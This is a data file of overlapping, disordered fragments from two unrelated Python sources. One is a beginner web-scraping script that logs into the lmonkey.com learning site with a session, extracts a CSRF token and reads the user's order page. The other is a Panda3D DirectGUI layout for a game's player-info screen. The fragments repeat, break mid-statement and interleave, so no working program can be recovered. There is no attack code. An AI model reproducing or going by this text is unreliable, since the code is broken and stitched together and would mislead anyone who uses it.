"标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue 的值,也就是 token 的值 # input[@name='xxx'] 找到指定标签",
"#@contact: <EMAIL> #@time: 2020/1/20 12:44 import requests from lxml import",
"#file: 03 login.py #@author: Gorit #@contact: <EMAIL> #@time: 2020/1/20 12:44",
"if res.status_code==200 or res.status_code==302: print(\"登录成功!!\") return True def getordder(self): #",
"账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\" headers = { \"User-Agent\":\"Mozilla/5.0 (Windows NT",
"self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or res.status_code==302: print(\"登录成功!!\") return True def getordder(self):",
"Gorit #@contact: <EMAIL> #@time: 2020/1/20 12:44 import requests from lxml",
"请求对象的初始化 self.req = requests.session() if self.getlogin(): # get 登录成功 if",
"# 封装类,进行学习猿地的登录和订单的获取 class lMonKey(): # 登录请求地址 loginUrl = \"https://www.lmonkey.com/login\" #",
"postlogin(self): uname = input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\") data = {",
"# 1. get 请求 login页面,设置 cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers) if",
"Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } # 请求对象 req = None",
"if res.status_code == 200: print(\"请求订单页页面成功\") html = etree.HTML(res.text) # 頁面解析",
"请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or res.status_code==302: print(\"登录成功!!\") return",
"login.py #!/usr/bin/python # -*- coding: utf-8 -*- #file: 03 login.py",
"的值 # input[@name='xxx'] 找到指定标签 print(\"token 获取成功\") return True else: print(\"请求错误\")",
"= html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue 的值,也就是 token",
"'' # 订单号 # 初始化的方法 def __init__(self): # 请求对象的初始化 self.req",
"res.status_code==200 or res.status_code==302: print(\"登录成功!!\") return True def getordder(self): # 获取订单页,使用",
"_token def getlogin(self): # 1. get 请求 login页面,设置 cookie,获取_token res",
"cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code == 200: print(\"get 页面请求成功\")",
"input[@name='xxx'] 找到指定标签 print(\"token 获取成功\") return True else: print(\"请求错误\") # post",
"200: print(\"请求订单页页面成功\") html = etree.HTML(res.text) # 頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\")",
"cookie def postlogin(self): uname = input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\") data",
"\"username\": uname, \"password\": <PASSWORD> } # 发起 post 请求 res",
"# -*- coding: utf-8 -*- #file: 03 login.py #@author: Gorit",
"#@author: Gorit #@contact: <EMAIL> #@time: 2020/1/20 12:44 import requests from",
"{ \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)",
"def postlogin(self): uname = input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\") data =",
"(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36",
"requests from lxml import etree # 封装类,进行学习猿地的登录和订单的获取 class lMonKey(): #",
"发起 post 请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or res.status_code==302:",
"{ \"_token\": self.token, \"username\": uname, \"password\": <PASSWORD> } # 发起",
"lMonKey(): # 登录请求地址 loginUrl = \"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl =",
"= \"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\" headers = {",
"# post 登录成功 self.getordder() # get 登录页面,获取 _token def getlogin(self):",
"etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue",
"self.req = requests.session() if self.getlogin(): # get 登录成功 if self.postlogin():",
"if self.getlogin(): # get 登录成功 if self.postlogin(): # post 登录成功",
"self.getordder() # get 登录页面,获取 _token def getlogin(self): # 1. get",
"#找到 input 标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue 的值,也就是 token 的值 #",
"} # 发起 post 请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200",
"print(\"请求订单页页面成功\") html = etree.HTML(res.text) # 頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\") print(r)",
"token 的值 # input[@name='xxx'] 找到指定标签 print(\"token 获取成功\") return True else:",
"初始化的方法 def __init__(self): # 请求对象的初始化 self.req = requests.session() if self.getlogin():",
"self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code == 200: print(\"请求订单页页面成功\") html = etree.HTML(res.text) #",
"def getordder(self): # 获取订单页,使用 get 请求即可,获取默认订单号 # 解析数据即可 res =",
"= { \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like",
"orderUrl = \"https://www.lmonkey.com/my/order\" headers = { \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0;",
"获取成功\") return True else: print(\"请求错误\") # post 登录,设置 cookie def",
"Spider/xpath/03 login.py #!/usr/bin/python # -*- coding: utf-8 -*- #file: 03",
"print(\"get 页面请求成功\") html = etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input",
"self.postlogin(): # post 登录成功 self.getordder() # get 登录页面,获取 _token def",
"requests.session() if self.getlogin(): # get 登录成功 if self.postlogin(): # post",
"-*- #file: 03 login.py #@author: Gorit #@contact: <EMAIL> #@time: 2020/1/20",
"= self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code == 200: print(\"get 页面请求成功\") html =",
"Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } # 请求对象 req = None #",
"etree # 封装类,进行学习猿地的登录和订单的获取 class lMonKey(): # 登录请求地址 loginUrl = \"https://www.lmonkey.com/login\"",
"QQBrowser/10.5.3863.400\" } # 请求对象 req = None # token 口令",
"(KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } # 请求对象",
"print(\"登录成功!!\") return True def getordder(self): # 获取订单页,使用 get 请求即可,获取默认订单号 #",
"res = self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code == 200: print(\"请求订单页页面成功\") html =",
"if res.status_code == 200: print(\"get 页面请求成功\") html = etree.HTML(res.text) self.token",
"lxml import etree # 封装类,进行学习猿地的登录和订单的获取 class lMonKey(): # 登录请求地址 loginUrl",
"= self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code == 200: print(\"请求订单页页面成功\") html = etree.HTML(res.text)",
"import requests from lxml import etree # 封装类,进行学习猿地的登录和订单的获取 class lMonKey():",
"口令 token = '' # 订单号 # 初始化的方法 def __init__(self):",
"<filename>Python Spider/xpath/03 login.py #!/usr/bin/python # -*- coding: utf-8 -*- #file:",
"res = self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code == 200: print(\"get 页面请求成功\") html",
"请求 login页面,设置 cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code == 200:",
"== 200: print(\"请求订单页页面成功\") html = etree.HTML(res.text) # 頁面解析 r =",
"# post 登录,设置 cookie def postlogin(self): uname = input(\"输入你的手机号:\") passw",
"utf-8 -*- #file: 03 login.py #@author: Gorit #@contact: <EMAIL> #@time:",
"import etree # 封装类,进行学习猿地的登录和订单的获取 class lMonKey(): # 登录请求地址 loginUrl =",
"\"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\" headers = { \"User-Agent\":\"Mozilla/5.0",
"html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue 的值,也就是 token 的值",
"res.status_code == 200: print(\"请求订单页页面成功\") html = etree.HTML(res.text) # 頁面解析 r",
"找到指定标签 print(\"token 获取成功\") return True else: print(\"请求错误\") # post 登录,设置",
"or res.status_code==302: print(\"登录成功!!\") return True def getordder(self): # 获取订单页,使用 get",
"200: print(\"get 页面请求成功\") html = etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到",
"token 口令 token = '' # 订单号 # 初始化的方法 def",
"# 登录请求地址 loginUrl = \"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\"",
"订单号 # 初始化的方法 def __init__(self): # 请求对象的初始化 self.req = requests.session()",
"<PASSWORD> } # 发起 post 请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if",
"post 请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or res.status_code==302: print(\"登录成功!!\")",
"登录成功 self.getordder() # get 登录页面,获取 _token def getlogin(self): # 1.",
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } #",
"name=\"_token\" 的标签,找它的 vcalue 的值,也就是 token 的值 # input[@name='xxx'] 找到指定标签 print(\"token",
"uname = input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\") data = { \"_token\":",
"return True def getordder(self): # 获取订单页,使用 get 请求即可,获取默认订单号 # 解析数据即可",
"# 获取订单页,使用 get 请求即可,获取默认订单号 # 解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers) if",
"登录页面,获取 _token def getlogin(self): # 1. get 请求 login页面,设置 cookie,获取_token",
"12:44 import requests from lxml import etree # 封装类,进行学习猿地的登录和订单的获取 class",
"True else: print(\"请求错误\") # post 登录,设置 cookie def postlogin(self): uname",
"__init__(self): # 请求对象的初始化 self.req = requests.session() if self.getlogin(): # get",
"頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\") print(r) else: print(\"頁面請求失敗\") obj = lMonKey()",
"#!/usr/bin/python # -*- coding: utf-8 -*- #file: 03 login.py #@author:",
"res.status_code==302: print(\"登录成功!!\") return True def getordder(self): # 获取订单页,使用 get 请求即可,获取默认订单号",
"input(\"请输入你的密码:\") data = { \"_token\": self.token, \"username\": uname, \"password\": <PASSWORD>",
"post 登录成功 self.getordder() # get 登录页面,获取 _token def getlogin(self): #",
"请求即可,获取默认订单号 # 解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code == 200:",
"登录成功 if self.postlogin(): # post 登录成功 self.getordder() # get 登录页面,获取",
"获取订单页,使用 get 请求即可,获取默认订单号 # 解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code",
"# 请求对象 req = None # token 口令 token =",
"# 初始化的方法 def __init__(self): # 请求对象的初始化 self.req = requests.session() if",
"NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400",
"解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code == 200: print(\"请求订单页页面成功\") html",
"# input[@name='xxx'] 找到指定标签 print(\"token 获取成功\") return True else: print(\"请求错误\") #",
"# 请求对象的初始化 self.req = requests.session() if self.getlogin(): # get 登录成功",
"= input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\") data = { \"_token\": self.token,",
"\"_token\": self.token, \"username\": uname, \"password\": <PASSWORD> } # 发起 post",
"getlogin(self): # 1. get 请求 login页面,设置 cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers)",
"Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } # 请求对象 req = None # token",
"if self.postlogin(): # post 登录成功 self.getordder() # get 登录页面,获取 _token",
"登录请求地址 loginUrl = \"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\" headers",
"# 账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\" headers = { \"User-Agent\":\"Mozilla/5.0 (Windows",
"data = { \"_token\": self.token, \"username\": uname, \"password\": <PASSWORD> }",
"self.token, \"username\": uname, \"password\": <PASSWORD> } # 发起 post 请求",
"html = etree.HTML(res.text) # 頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\") print(r) else:",
"== 200: print(\"get 页面请求成功\") html = etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0]",
"html = etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为 name=\"_token\"",
"# get 登录页面,获取 _token def getlogin(self): # 1. get 请求",
"页面请求成功\") html = etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为",
"的标签,找它的 vcalue 的值,也就是 token 的值 # input[@name='xxx'] 找到指定标签 print(\"token 获取成功\")",
"= self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or res.status_code==302: print(\"登录成功!!\") return True def",
"<EMAIL> #@time: 2020/1/20 12:44 import requests from lxml import etree",
"请求对象 req = None # token 口令 token = ''",
"token = '' # 订单号 # 初始化的方法 def __init__(self): #",
"self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue 的值,也就是",
"1. get 请求 login页面,设置 cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code",
"# 订单号 # 初始化的方法 def __init__(self): # 请求对象的初始化 self.req =",
"= { \"_token\": self.token, \"username\": uname, \"password\": <PASSWORD> } #",
"print(\"token 获取成功\") return True else: print(\"请求错误\") # post 登录,设置 cookie",
"2020/1/20 12:44 import requests from lxml import etree # 封装类,进行学习猿地的登录和订单的获取",
"like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } # 请求对象 req",
"} # 请求对象 req = None # token 口令 token",
"etree.HTML(res.text) # 頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\") print(r) else: print(\"頁面請求失敗\") obj",
"# token 口令 token = '' # 订单号 # 初始化的方法",
"else: print(\"请求错误\") # post 登录,设置 cookie def postlogin(self): uname =",
"# 发起 post 请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or",
"= '' # 订单号 # 初始化的方法 def __init__(self): # 请求对象的初始化",
"self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code == 200: print(\"get 页面请求成功\") html = etree.HTML(res.text)",
"login页面,设置 cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code == 200: print(\"get",
"from lxml import etree # 封装类,进行学习猿地的登录和订单的获取 class lMonKey(): # 登录请求地址",
"input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\") data = { \"_token\": self.token, \"username\":",
"def getlogin(self): # 1. get 请求 login页面,设置 cookie,获取_token res =",
"res = self.req.post(url=self.loginUrl,headers=self.headers,data=data) if res.status_code==200 or res.status_code==302: print(\"登录成功!!\") return True",
"= None # token 口令 token = '' # 订单号",
"login.py #@author: Gorit #@contact: <EMAIL> #@time: 2020/1/20 12:44 import requests",
"print(\"请求错误\") # post 登录,设置 cookie def postlogin(self): uname = input(\"输入你的手机号:\")",
"return True else: print(\"请求错误\") # post 登录,设置 cookie def postlogin(self):",
"= \"https://www.lmonkey.com/my/order\" headers = { \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64)",
"03 login.py #@author: Gorit #@contact: <EMAIL> #@time: 2020/1/20 12:44 import",
"True def getordder(self): # 获取订单页,使用 get 请求即可,获取默认订单号 # 解析数据即可 res",
"\"https://www.lmonkey.com/my/order\" headers = { \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36",
"get 请求 login页面,设置 cookie,获取_token res = self.req.get(url=self.loginUrl,headers=self.headers) if res.status_code ==",
"get 登录页面,获取 _token def getlogin(self): # 1. get 请求 login页面,设置",
"的值,也就是 token 的值 # input[@name='xxx'] 找到指定标签 print(\"token 获取成功\") return True",
"headers = { \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,",
"coding: utf-8 -*- #file: 03 login.py #@author: Gorit #@contact: <EMAIL>",
"loginUrl = \"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl = \"https://www.lmonkey.com/my/order\" headers =",
"post 登录,设置 cookie def postlogin(self): uname = input(\"输入你的手机号:\") passw =",
"input 标签下的,属性为 name=\"_token\" 的标签,找它的 vcalue 的值,也就是 token 的值 # input[@name='xxx']",
"= etree.HTML(res.text) # 頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\") print(r) else: print(\"頁面請求失敗\")",
"-*- coding: utf-8 -*- #file: 03 login.py #@author: Gorit #@contact:",
"self.getlogin(): # get 登录成功 if self.postlogin(): # post 登录成功 self.getordder()"
] |
[
") self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0,",
"rootParent=None): self.frmMain = DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-1.777778, 1.77777778,",
"0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125, 0,",
"0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel( frameColor=(0.8, 0.8,",
"0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send,",
"0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0,",
"0, 0), pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack', text_align=TextNode.A_center,",
"0, 0), item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0,",
"0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1, 0.1, 0.1),",
"item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075, 0, -0.75),",
"0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
") self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1,",
"-0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Start', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0),",
"= DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1, 0.1,",
"text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel( frameColor=(0.8, 0.8, 0.8,",
") self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-0.15,",
"TextNode ) class GUI: def __init__(self, rootParent=None): self.frmMain = DirectFrame(",
"item0_text_scale=(1, 1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0, 0, 1), item0_text_bg=LVecBase4f(0, 0,",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue",
"-0.17), scale=LVecBase3f(0.1, 0.1, 0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0),",
"0.1), text='Start', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"-0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1, 0.1,",
"item0_text_bg=LVecBase4f(0, 0, 0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0,",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack",
"text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0,",
"0), pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Info', text_align=TextNode.A_center, text_scale=(1,",
"0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0, 0,",
"0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu(",
"self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-0.15, 0.15,",
"DirectGuiGlobals as DGG from direct.gui.DirectFrame import DirectFrame from direct.gui.DirectLabel import",
"pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1, 0.1, 0.1), text='The archer shoots from",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219 = DirectLabel( hpr=LVecBase3f(0,",
"0, 0), parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01, 0.01),",
"0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0),",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue =",
"was created using the DirectGUI Designer from direct.gui import DirectGuiGlobals",
"0, 0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel(",
"0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.65, 0.65, -0.55, 0.55), hpr=LVecBase3f(0,",
"= DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.65, 0.65,",
"1, 1), frameSize=(-0.65, 0.65, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425,",
"DirectGUI Designer from direct.gui import DirectGuiGlobals as DGG from direct.gui.DirectFrame",
"0), item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0, 0),",
"0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152,",
"image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0, 0, 0),",
"frameSize=(-0.65, 0.65, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425, 0, 0),",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1, 0.1, 0.1), text='The",
"0.31), scale=LVecBase3f(0.1, 0.1, 0.1), text='The archer shoots from afar and",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth",
"0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None,",
"0, 0), pos=LPoint3f(-0.425, 0, 0), relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703",
"hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15, 1, 0.2),",
"1, -1, 1), cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None,",
"frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.17),",
"1), frameSize=(-0.15, 0.15, -0.2, 0.2), hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275,",
"borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.5, 0.5, -0.55, 0.55),",
"1.1638), image_pos=LPoint3f(0, 0, 0), parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame(",
"0, 0.02), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Class', text_align=TextNode.A_left, text_scale=(1, 1),",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero =",
"popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875),",
"0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo",
"0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0,",
"text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1, 0.1,",
"parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1,",
"0, 0), image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0,",
"0.1, 0.1), text='Start', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame,",
"0.02), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Class', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0,",
"frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12, 0, 0.31),",
"0, 0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"-0.2, 0.2), hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15,",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass =",
"-0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425, 0, 0), relief=5, parent=self.frmMain,",
"0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame(",
"self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0,",
"0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1, 0.1,",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def",
"0.1, 0.1), text='Player Class', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0)",
